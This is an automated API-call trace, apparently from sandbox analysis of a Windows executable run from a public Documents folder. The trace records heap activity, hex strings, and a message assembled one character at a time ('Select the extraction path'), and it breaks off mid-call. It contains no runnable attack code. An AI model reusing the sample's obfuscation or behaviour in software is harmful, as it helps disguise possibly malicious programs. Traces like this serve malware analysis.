Parameter=0x40e062, Context=0x18ff34 | out: InitOnce=0x41867c, Parameter=0x40e062, Context=0x18ff34*=0x4) returned 1 [0062.034] FreeLibrary (hLibModule=0x75c80000) returned 1 [0062.034] SetConsoleCtrlHandler (HandlerRoutine=0x4020ce, Add=1) returned 1 [0062.034] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x409f70) returned 0x0 [0062.034] GetLastError () returned 0x0 [0062.034] SetLastError (dwErrCode=0x0) [0062.034] GetLastError () returned 0x0 [0062.034] SetLastError (dwErrCode=0x0) [0062.034] GetLastError () returned 0x0 [0062.034] SetLastError (dwErrCode=0x0) [0062.034] GetLastError () returned 0x0 [0062.035] SetLastError (dwErrCode=0x0) [0062.035] GetLastError () returned 0x0 [0062.035] SetLastError (dwErrCode=0x0) [0062.035] GetLastError () returned 0x0 [0062.035] SetLastError (dwErrCode=0x0) [0062.035] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x0, Size=0x9c) returned 0x7612b0 [0062.035] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0x404a) returned 0x1f40830 [0062.036] HeapFree (in: hHeap=0x760000, dwFlags=0x0, lpMem=0x7612b0 | out: hHeap=0x760000) returned 1 [0062.036] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x4a) returned 0x1f44888 [0062.036] GetLastError () returned 0x0 [0062.036] SetLastError (dwErrCode=0x0) [0062.036] GetLastError () returned 0x0 [0062.036] SetLastError (dwErrCode=0x0) [0062.036] GetLastError () returned 0x0 [0062.036] SetLastError (dwErrCode=0x0) [0062.036] GetModuleFileNameW (in: hModule=0x400000, lpFilename=0x1f40830, nSize=0x104 | out: lpFilename="C:\\Users\\Public\\Documents\\startSF.exe" (normalized: "c:\\users\\public\\documents\\startsf.exe")) returned 0x25 [0062.036] wcscmp (_String1="C:\\Users\\Public\\Documents\\startSF.exe", _String2="\\\\?\\") returned -1 [0062.036] LoadLibraryExW (lpLibFileName="C:\\Users\\Public\\Documents\\startSF.exe", hFile=0x0, dwFlags=0x2) returned 0x400000 [0062.037] GetLastError () returned 0x0 [0062.037] SetLastError (dwErrCode=0x0) [0062.037] EnumResourceTypesW (hModule=0x400000, lpEnumFunc=0x402033, lParam=0x0) returned 1 [0062.037] EnumResourceNamesW (hModule=0x400000, lpType=0xa, lpEnumFunc=0x402e03, lParam=0x0) returned 1 [0062.038] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x0, Size=0x118) returned 0x7612b0 [0062.038] GetLastError () returned 0x0 [0062.038] SetLastError (dwErrCode=0x0) [0062.038] GetLastError () returned 0x0 [0062.038] SetLastError (dwErrCode=0x0) [0062.038] memcpy (in: _Dst=0x1f40830, _Src=0x89b3e0, _Size=0x14 | out: _Dst=0x1f40830) returned 0x1f40830 [0062.038] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x1e) returned 0x1f448e0 [0062.038] GetLastError () returned 0x0 [0062.038] SetLastError (dwErrCode=0x0) [0062.039] GetLastError () returned 0x0 [0062.039] SetLastError (dwErrCode=0x0) [0062.039] memcpy (in: _Dst=0x1f40830, _Src=0x89c7c8, _Size=0x40 | out: _Dst=0x1f40830) returned 0x1f40830 [0062.039] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x4a) returned 0x1f44908 [0062.039] GetLastError () returned 0x0 [0062.039] SetLastError (dwErrCode=0x0) [0062.039] GetLastError () returned 0x0 [0062.039] SetLastError (dwErrCode=0x0) [0062.039] memcpy (in: _Dst=0x1f40830, _Src=0x89c7c8, _Size=0x50 | out: _Dst=0x1f40830) returned 0x1f40830 [0062.039] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x5a) returned 0x1f44960 [0062.039] GetLastError () returned 0x0 [0062.039] SetLastError (dwErrCode=0x0) [0062.063] GetLastError () returned 0x0 [0062.063] SetLastError (dwErrCode=0x0) [0062.063] memcpy (in: _Dst=0x1f40830, _Src=0x89c7c8, _Size=0x40 | out: _Dst=0x1f40830) returned 0x1f40830 [0062.063] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x4a) returned 0x1f449c8 [0062.063] FreeLibrary (hLibModule=0x400000) returned 1 [0062.063] GetLastError () returned 0x0 [0062.063] SetLastError (dwErrCode=0x0) [0062.063] wcslen (_String="12EA5218C5") returned 0xa [0062.063] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x1e) returned 0x1f44a20 [0062.063] GetLastError () returned 0x0 [0062.064] SetLastError (dwErrCode=0x0) [0062.064] wcslen (_String="12EA5218C5") returned 0xa [0062.064] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x1e) returned 0x1f44a48 [0062.064] GetLastError () returned 0x0 [0062.064] SetLastError (dwErrCode=0x0) [0062.064] wcslen (_String="2974CA65CF6389B3AC43F1B84C181E57") returned 0x20 [0062.064] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f44a20, Size=0x4a) returned 0x1f44a70 [0062.064] GetLastError () returned 0x0 [0062.064] SetLastError (dwErrCode=0x0) [0062.064] wcslen (_String="2974CA65CF6389B3AC43F1B84C181E57") returned 0x20 [0062.064] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x4a) returned 0x1f44ac8 [0062.064] GetLastError () returned 0x0 [0062.064] SetLastError (dwErrCode=0x0) [0062.064] wcslen (_String="56960F2550176AAB7502ECECF45C35FE4CBA7109") returned 0x28 [0062.064] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f44a70, Size=0x5a) returned 0x1f44b20 [0062.064] GetLastError () returned 0x0 [0062.064] SetLastError (dwErrCode=0x0) [0062.064] wcslen (_String="2974CA65CF6389B3AC43F1B84C181E57") returned 0x20 [0062.064] wcslen (_String="56960F2550176AAB7502ECECF45C35FE4CBA7109") returned 0x28 [0062.064] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f44ac8, Size=0x9a) returned 0x1f44b88 [0062.065] GetLastError () returned 0x0 [0062.065] SetLastError (dwErrCode=0x0) [0062.065] wcslen (_String="C1F0F7C622CAB348492D1AB929AC8AD5") returned 0x20 [0062.065] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f44b20, Size=0x4a) returned 0x1f44b20 [0062.065] GetLastError () returned 0x0 [0062.065] SetLastError (dwErrCode=0x0) [0062.065] wcslen (_String="2974CA65CF6389B3AC43F1B84C181E5756960F2550176AAB7502ECECF45C35FE4CBA7109") returned 0x48 [0062.065] wcslen (_String="C1F0F7C622CAB348492D1AB929AC8AD5") returned 0x20 [0062.065] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f44b88, Size=0xda) returned 0x1f44b88 [0062.065] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f448e0 | out: hHeap=0x1f40000) returned 1 [0062.066] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f44908 | out: hHeap=0x1f40000) returned 1 [0062.067] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f44960 | out: hHeap=0x1f40000) returned 1 [0062.068] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f449c8 | out: hHeap=0x1f40000) returned 1 [0062.069] HeapFree (in: hHeap=0x760000, dwFlags=0x0, lpMem=0x7612b0 | out: hHeap=0x760000) returned 1 [0062.069] GetLastError () returned 0x0 [0062.069] SetLastError (dwErrCode=0x0) [0062.069] GetLastError () returned 0x0 [0062.069] SetLastError (dwErrCode=0x0) [0062.069] GetLastError () returned 0x0 [0062.069] SetLastError (dwErrCode=0x0) [0062.069] GetLastError () returned 0x0 [0062.069] SetLastError (dwErrCode=0x0) [0062.069] GetLastError () returned 0x0 [0062.069] SetLastError (dwErrCode=0x0) [0062.069] GetLastError () returned 0x0 [0062.069] SetLastError (dwErrCode=0x0) [0062.069] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x0, Size=0x9c) returned 0x7612b0 [0062.069] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="5DA8CA929BA1D294843BAC226C7F0F1C9017ABC4EF53C54FCECE2057BAA6710552F0696575E181C48B1F34CA3B9836FC56AC4792", cchWideChar=105, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 105 [0062.070] malloc (_Size=0x6a) returned 0x6013c0 [0062.070] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="5DA8CA929BA1D294843BAC226C7F0F1C9017ABC4EF53C54FCECE2057BAA6710552F0696575E181C48B1F34CA3B9836FC56AC4792", cchWideChar=105, lpMultiByteStr=0x6013c0, cbMultiByte=105, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5DA8CA929BA1D294843BAC226C7F0F1C9017ABC4EF53C54FCECE2057BAA6710552F0696575E181C48B1F34CA3B9836FC56AC4792", lpUsedDefaultChar=0x0) returned 105 [0062.070] free (_Block=0x6013c0) [0062.071] HeapFree (in: hHeap=0x760000, dwFlags=0x0, lpMem=0x7612b0 | out: hHeap=0x760000) returned 1 [0062.072] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x4a) returned 0x1f44a70 [0062.072] GetLastError () returned 0x0 [0062.073] SetLastError (dwErrCode=0x0) [0062.073] wcslen (_String="D1E11A1376442ADA5B8EA3297F56AD09") returned 0x20 [0062.073] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x4a) returned 0x1f44ac8 [0062.074] GetLastError () returned 0x0 [0062.074] SetLastError (dwErrCode=0x0) [0062.074] GetLastError () returned 0x0 [0062.074] SetLastError (dwErrCode=0x0) [0062.074] GetLastError () returned 0x0 [0062.074] SetLastError (dwErrCode=0x0) [0062.074] GetLastError () returned 0x0 [0062.074] SetLastError (dwErrCode=0x0) [0062.074] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x0, Size=0x9c) returned 0x7612b0 [0062.074] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="D1E11A1376442ADA5B8EA3297F56AD09", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0062.074] malloc (_Size=0x22) returned 0x6013c0 [0062.074] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="D1E11A1376442ADA5B8EA3297F56AD09", cchWideChar=33, lpMultiByteStr=0x6013c0, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D1E11A1376442ADA5B8EA3297F56AD09", lpUsedDefaultChar=0x0) returned 33 [0062.075] free (_Block=0x6013c0) [0062.075] HeapFree (in: hHeap=0x760000, dwFlags=0x0, lpMem=0x7612b0 | out: hHeap=0x760000) returned 1 [0062.075] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f44a70, Size=0x4a) returned 0x1f44a70 [0062.075] GetLastError () returned 0x0 [0062.075] SetLastError (dwErrCode=0x0) [0062.075] GetLastError () returned 0x0 [0062.075] SetLastError (dwErrCode=0x0) [0062.075] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f44a70, Size=0x1e) returned 0x1f44a70 [0062.076] GetCommandLineW () returned="\"C:\\Users\\Public\\Documents\\startSF.exe\" " [0062.076] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f44b20 | out: hHeap=0x1f40000) returned 1 [0062.076] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f44a48 | out: hHeap=0x1f40000) returned 1 [0062.076] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f44b88 | out: hHeap=0x1f40000) returned 1 [0062.077] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f44ac8 | out: hHeap=0x1f40000) returned 1 [0062.077] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f44a70 | out: hHeap=0x1f40000) returned 1 [0062.077] GetLastError () returned 0x0 [0062.077] SetLastError (dwErrCode=0x0) [0062.077] GetLastError () returned 0x0 [0062.077] SetLastError (dwErrCode=0x0) [0062.077] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0xc) returned 0x1f407e8 [0062.077] GetLastError () returned 0x0 [0062.077] SetLastError (dwErrCode=0x0) [0062.077] wcslen (_String="S") returned 0x1 [0062.077] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0xc) returned 0x1f448e0 [0062.077] GetLastError () returned 0x0 [0062.077] SetLastError (dwErrCode=0x0) [0062.077] GetLastError () returned 0x0 [0062.077] SetLastError (dwErrCode=0x0) [0062.077] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.077] GetLastError () returned 0x0 [0062.078] SetLastError (dwErrCode=0x0) [0062.078] wcslen (_String="S") returned 0x1 [0062.078] wcslen (_String="e") returned 0x1 [0062.078] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f448e0, Size=0xe) returned 0x1f448e0 [0062.078] GetLastError () returned 0x0 [0062.078] SetLastError (dwErrCode=0x0) [0062.078] GetLastError () returned 0x0 [0062.078] SetLastError (dwErrCode=0x0) [0062.078] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.078] GetLastError () returned 0x0 [0062.078] SetLastError (dwErrCode=0x0) [0062.078] wcslen (_String="Se") returned 0x2 [0062.078] wcslen (_String="l") returned 0x1 [0062.078] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f448e0, Size=0x10) returned 0x1f448e0 [0062.078] GetLastError () returned 0x0 [0062.078] SetLastError (dwErrCode=0x0) [0062.078] GetLastError () returned 0x0 [0062.078] SetLastError (dwErrCode=0x0) [0062.078] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.078] GetLastError () returned 0x0 [0062.079] SetLastError (dwErrCode=0x0) [0062.079] wcslen (_String="Sel") returned 0x3 [0062.079] wcslen (_String="e") returned 0x1 [0062.079] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f448e0, Size=0x12) returned 0x1f448e0 [0062.079] GetLastError () returned 0x0 [0062.079] SetLastError (dwErrCode=0x0) [0062.079] GetLastError () returned 0x0 [0062.079] SetLastError (dwErrCode=0x0) [0062.079] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.079] GetLastError () returned 0x0 [0062.079] SetLastError (dwErrCode=0x0) [0062.079] wcslen (_String="Sele") returned 0x4 [0062.079] wcslen (_String="c") returned 0x1 [0062.079] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f448e0, Size=0x14) returned 0x1f448e0 [0062.079] GetLastError () returned 0x0 [0062.079] SetLastError (dwErrCode=0x0) [0062.079] GetLastError () returned 0x0 [0062.079] SetLastError (dwErrCode=0x0) [0062.079] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.079] GetLastError () returned 0x0 [0062.079] SetLastError (dwErrCode=0x0) [0062.079] wcslen (_String="Selec") returned 0x5 [0062.079] wcslen (_String="t") returned 0x1 [0062.080] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f448e0, Size=0x16) returned 0x1f448e0 [0062.080] GetLastError () returned 0x0 [0062.080] SetLastError (dwErrCode=0x0) [0062.080] GetLastError () returned 0x0 [0062.080] SetLastError (dwErrCode=0x0) [0062.080] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.080] GetLastError () returned 0x0 [0062.080] SetLastError (dwErrCode=0x0) [0062.080] wcslen (_String="Select") returned 0x6 [0062.080] wcslen (_String=" ") returned 0x1 [0062.080] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f448e0, Size=0x18) returned 0x1f448e0 [0062.080] GetLastError () returned 0x0 [0062.080] SetLastError (dwErrCode=0x0) [0062.080] GetLastError () returned 0x0 [0062.080] SetLastError (dwErrCode=0x0) [0062.080] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.080] GetLastError () returned 0x0 [0062.080] SetLastError (dwErrCode=0x0) [0062.080] wcslen (_String="Select ") returned 0x7 [0062.080] wcslen (_String="t") returned 0x1 [0062.080] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f448e0, Size=0x1a) returned 0x1f448e0 [0062.080] GetLastError () returned 0x0 [0062.080] SetLastError (dwErrCode=0x0) [0062.081] GetLastError () returned 0x0 [0062.081] SetLastError (dwErrCode=0x0) [0062.081] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.081] GetLastError () returned 0x0 [0062.081] SetLastError (dwErrCode=0x0) [0062.081] wcslen (_String="Select t") returned 0x8 [0062.081] wcslen (_String="h") returned 0x1 [0062.081] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f448e0, Size=0x1c) returned 0x1f448e0 [0062.081] GetLastError () returned 0x0 [0062.081] SetLastError (dwErrCode=0x0) [0062.081] GetLastError () returned 0x0 [0062.081] SetLastError (dwErrCode=0x0) [0062.081] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.081] GetLastError () returned 0x0 [0062.081] SetLastError (dwErrCode=0x0) [0062.081] wcslen (_String="Select th") returned 0x9 [0062.081] wcslen (_String="e") returned 0x1 [0062.081] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f448e0, Size=0x1e) returned 0x1f448e0 [0062.081] GetLastError () returned 0x0 [0062.082] SetLastError (dwErrCode=0x0) [0062.082] GetLastError () returned 0x0 [0062.082] SetLastError (dwErrCode=0x0) [0062.082] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.082] GetLastError () returned 0x0 [0062.082] SetLastError (dwErrCode=0x0) [0062.082] wcslen (_String="Select the") returned 0xa [0062.082] wcslen (_String=" ") returned 0x1 [0062.082] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f448e0, Size=0x20) returned 0x1f448e0 [0062.082] GetLastError () returned 0x0 [0062.082] SetLastError (dwErrCode=0x0) [0062.082] GetLastError () returned 0x0 [0062.082] SetLastError (dwErrCode=0x0) [0062.082] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.082] GetLastError () returned 0x0 [0062.082] SetLastError (dwErrCode=0x0) [0062.082] wcslen (_String="Select the ") returned 0xb [0062.082] wcslen (_String="e") returned 0x1 [0062.082] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f448e0, Size=0x22) returned 0x1f448e0 [0062.082] GetLastError () returned 0x0 [0062.082] SetLastError (dwErrCode=0x0) [0062.082] GetLastError () returned 0x0 [0062.082] SetLastError (dwErrCode=0x0) [0062.083] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.083] GetLastError () returned 0x0 [0062.083] SetLastError (dwErrCode=0x0) [0062.083] wcslen (_String="Select the e") returned 0xc [0062.083] wcslen (_String="x") returned 0x1 [0062.083] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f448e0, Size=0x24) returned 0x1f448e0 [0062.083] GetLastError () returned 0x0 [0062.083] SetLastError (dwErrCode=0x0) [0062.083] GetLastError () returned 0x0 [0062.083] SetLastError (dwErrCode=0x0) [0062.083] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.083] GetLastError () returned 0x0 [0062.083] SetLastError (dwErrCode=0x0) [0062.083] wcslen (_String="Select the ex") returned 0xd [0062.083] wcslen (_String="t") returned 0x1 [0062.083] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f448e0, Size=0x26) returned 0x1f448e0 [0062.083] GetLastError () returned 0x0 [0062.083] SetLastError (dwErrCode=0x0) [0062.083] GetLastError () returned 0x0 [0062.083] SetLastError (dwErrCode=0x0) [0062.083] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.083] GetLastError () returned 0x0 [0062.083] SetLastError (dwErrCode=0x0) [0062.083] wcslen (_String="Select the ext") returned 0xe [0062.084] wcslen (_String="r") returned 0x1 [0062.084] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f448e0, Size=0x28) returned 0x1f448e0 [0062.084] GetLastError () returned 0x0 [0062.084] SetLastError (dwErrCode=0x0) [0062.084] GetLastError () returned 0x0 [0062.084] SetLastError (dwErrCode=0x0) [0062.084] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.084] GetLastError () returned 0x0 [0062.084] SetLastError (dwErrCode=0x0) [0062.084] wcslen (_String="Select the extr") returned 0xf [0062.084] wcslen (_String="a") returned 0x1 [0062.084] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f448e0, Size=0x2a) returned 0x1f448e0 [0062.084] GetLastError () returned 0x0 [0062.084] SetLastError (dwErrCode=0x0) [0062.084] GetLastError () returned 0x0 [0062.084] SetLastError (dwErrCode=0x0) [0062.084] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.084] GetLastError () returned 0x0 [0062.084] SetLastError (dwErrCode=0x0) [0062.084] wcslen (_String="Select the extra") returned 0x10 [0062.084] wcslen (_String="c") returned 0x1 [0062.084] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f448e0, Size=0x2c) returned 0x1f448e0 [0062.084] GetLastError () returned 0x0 [0062.085] SetLastError (dwErrCode=0x0) [0062.085] GetLastError () returned 0x0 [0062.085] SetLastError (dwErrCode=0x0) [0062.085] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.085] GetLastError () returned 0x0 [0062.085] SetLastError (dwErrCode=0x0) [0062.085] wcslen (_String="Select the extrac") returned 0x11 [0062.085] wcslen (_String="t") returned 0x1 [0062.085] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f448e0, Size=0x2e) returned 0x1f448e0 [0062.085] GetLastError () returned 0x0 [0062.085] SetLastError (dwErrCode=0x0) [0062.085] GetLastError () returned 0x0 [0062.085] SetLastError (dwErrCode=0x0) [0062.085] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.085] GetLastError () returned 0x0 [0062.085] SetLastError (dwErrCode=0x0) [0062.085] wcslen (_String="Select the extract") returned 0x12 [0062.085] wcslen (_String="i") returned 0x1 [0062.085] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f448e0, Size=0x30) returned 0x1f448e0 [0062.085] GetLastError () returned 0x0 [0062.085] SetLastError (dwErrCode=0x0) [0062.085] GetLastError () returned 0x0 [0062.086] SetLastError (dwErrCode=0x0) [0062.086] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.086] GetLastError () returned 0x0 [0062.086] SetLastError (dwErrCode=0x0) [0062.086] wcslen (_String="Select the extracti") returned 0x13 [0062.086] wcslen (_String="o") returned 0x1 [0062.086] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f448e0, Size=0x32) returned 0x1f448e0 [0062.086] GetLastError () returned 0x0 [0062.086] SetLastError (dwErrCode=0x0) [0062.086] GetLastError () returned 0x0 [0062.086] SetLastError (dwErrCode=0x0) [0062.086] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.086] GetLastError () returned 0x0 [0062.086] SetLastError (dwErrCode=0x0) [0062.087] wcslen (_String="Select the extractio") returned 0x14 [0062.087] wcslen (_String="n") returned 0x1 [0062.087] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f448e0, Size=0x34) returned 0x1f448e0 [0062.087] GetLastError () returned 0x0 [0062.087] SetLastError (dwErrCode=0x0) [0062.087] GetLastError () returned 0x0 [0062.087] SetLastError (dwErrCode=0x0) [0062.087] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.087] GetLastError () returned 0x0 [0062.087] SetLastError (dwErrCode=0x0) [0062.087] wcslen (_String="Select the extraction") returned 0x15 [0062.087] wcslen (_String=" ") returned 0x1 [0062.087] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f448e0, Size=0x36) returned 0x1f448e0 [0062.087] GetLastError () returned 0x0 [0062.087] SetLastError (dwErrCode=0x0) [0062.087] GetLastError () returned 0x0 [0062.087] SetLastError (dwErrCode=0x0) [0062.087] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.087] GetLastError () returned 0x0 [0062.087] SetLastError (dwErrCode=0x0) [0062.087] wcslen (_String="Select the extraction ") returned 0x16 [0062.088] wcslen (_String="p") returned 0x1 [0062.088] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f448e0, Size=0x38) returned 0x1f448e0 [0062.088] GetLastError () returned 0x0 [0062.088] SetLastError (dwErrCode=0x0) [0062.088] GetLastError () returned 0x0 [0062.088] SetLastError (dwErrCode=0x0) [0062.088] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.088] GetLastError () returned 0x0 [0062.088] SetLastError (dwErrCode=0x0) [0062.088] wcslen (_String="Select the extraction p") returned 0x17 [0062.088] wcslen (_String="a") returned 0x1 [0062.088] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f448e0, Size=0x3a) returned 0x1f448e0 [0062.088] GetLastError () returned 0x0 [0062.088] SetLastError (dwErrCode=0x0) [0062.088] GetLastError () returned 0x0 [0062.088] SetLastError (dwErrCode=0x0) [0062.088] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.088] GetLastError () returned 0x0 [0062.088] SetLastError (dwErrCode=0x0) [0062.088] wcslen (_String="Select the extraction pa") returned 0x18 [0062.088] wcslen (_String="t") returned 0x1 [0062.088] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f448e0, Size=0x3c) returned 0x1f448e0 [0062.089] GetLastError () returned 0x0 [0062.089] SetLastError (dwErrCode=0x0) [0062.089] GetLastError () returned 0x0 [0062.089] SetLastError (dwErrCode=0x0) [0062.089] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.089] GetLastError () returned 0x0 [0062.089] SetLastError (dwErrCode=0x0) [0062.089] wcslen (_String="Select the extraction pat") returned 0x19 [0062.089] wcslen (_String="h") returned 0x1 [0062.089] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f448e0, Size=0x3e) returned 0x1f448e0 [0062.089] GetLastError () returned 0x0 [0062.089] SetLastError (dwErrCode=0x0) [0062.089] GetLastError () returned 0x0 [0062.089] SetLastError (dwErrCode=0x0) [0062.089] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.089] GetLastError () returned 0x0 [0062.089] SetLastError (dwErrCode=0x0) [0062.089] wcslen (_String="c") returned 0x1 [0062.089] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0xc) returned 0x1f44928 [0062.089] GetLastError () returned 0x0 [0062.089] SetLastError (dwErrCode=0x0) [0062.089] GetLastError () returned 0x0 [0062.089] SetLastError (dwErrCode=0x0) [0062.090] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f407e8, Size=0xc) returned 0x1f407e8 [0062.090] GetLastError () returned 0x0 [0062.090] SetLastError (dwErrCode=0x0) [0062.090] wcslen (_String="c") returned 0x1 [0062.090] wcslen (_String="m") returned 0x1 [0062.090] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f44928, Size=0xe) returned 0x1f44928 [0062.090] GetLastError () returned 0x0 [0062.090] SetLastError (dwErrCode=0x0) [0062.090] GetLastError () returned 0x0 [0062.090] SetLastError (dwErrCode=0x0) [0062.090] RtlReAllocateHeap (Heap=0x1f40000, 